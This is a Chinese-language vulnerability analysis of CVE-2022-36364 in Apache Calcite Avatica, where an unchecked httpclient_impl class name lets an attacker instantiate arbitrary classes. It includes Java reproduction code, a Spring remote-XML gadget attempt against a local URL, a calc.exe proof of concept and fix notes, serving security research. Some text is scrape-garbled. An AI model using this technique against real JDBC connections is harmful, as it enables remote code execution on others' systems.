漏洞简介
httpclient_impl
连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用任意类来执行代码。-
必须拥有控制 JDBC 连接参数的权限 -
类路径中有一个具有 URL 参数和执行代码能力的函数(目前需要自己构造)
漏洞复现&分析
<!-- https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica -->
<dependency>
<groupId>org.apache.calcite.avatica</groupId>
<artifactId>avatica</artifactId>
<version>1.21.0</version>
</dependency>
import org.apache.calcite.avatica.BuiltInConnectionProperty;
import org.apache.calcite.avatica.ConnectionConfig;
import org.apache.calcite.avatica.ConnectionConfigImpl;
import org.apache.calcite.avatica.remote.AvaticaHttpClient;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl;
import java.net.URL;
import java.util.Properties;
public class test {
public static void main(String[] args) throws Exception {
Properties props = new Properties();
props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");
URL url = new URL("url");
ConnectionConfig config = new ConnectionConfigImpl(props);
AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();
AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);
}
}
calssName
和 url
的值是我们可以操作控制的,我们进行调试分析一下instantiateClient
来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass()
会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String
返回org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient
其中的两个参数 className
和 url
都是我们可以控制的constructor.newInstance(Objects.requireNonNull(url));
className
和 url
来实现调用任意类,但是这个类的必须有 URL 参数的处理-
org.springframework.context.support.ClassPathXmlApplicationContext
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
public static void main(String[] args) {
String s = "http://127.0.0.1:8080/bean.xml";
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
}
}
lassPathXmlApplicationContext
类没有接收 java.net.URL
参数的构造方法。ClassPathXmlApplicationContext
类的构造方法接收的是 String
类型的路径,通常是用于加载 Spring 配置文件的路径。import java.net.URL;
public class CustomHttpClient {
private URL url;
// 构造函数,接受一个 URL 类型的参数
public CustomHttpClient(URL url) throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
}
漏洞修复
AvaticaHttpClient
的子类原文始发于微信公众号(蚁景网络安全):Apache Calcite Avatica 远程代码执行 CVE-2022-36364
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论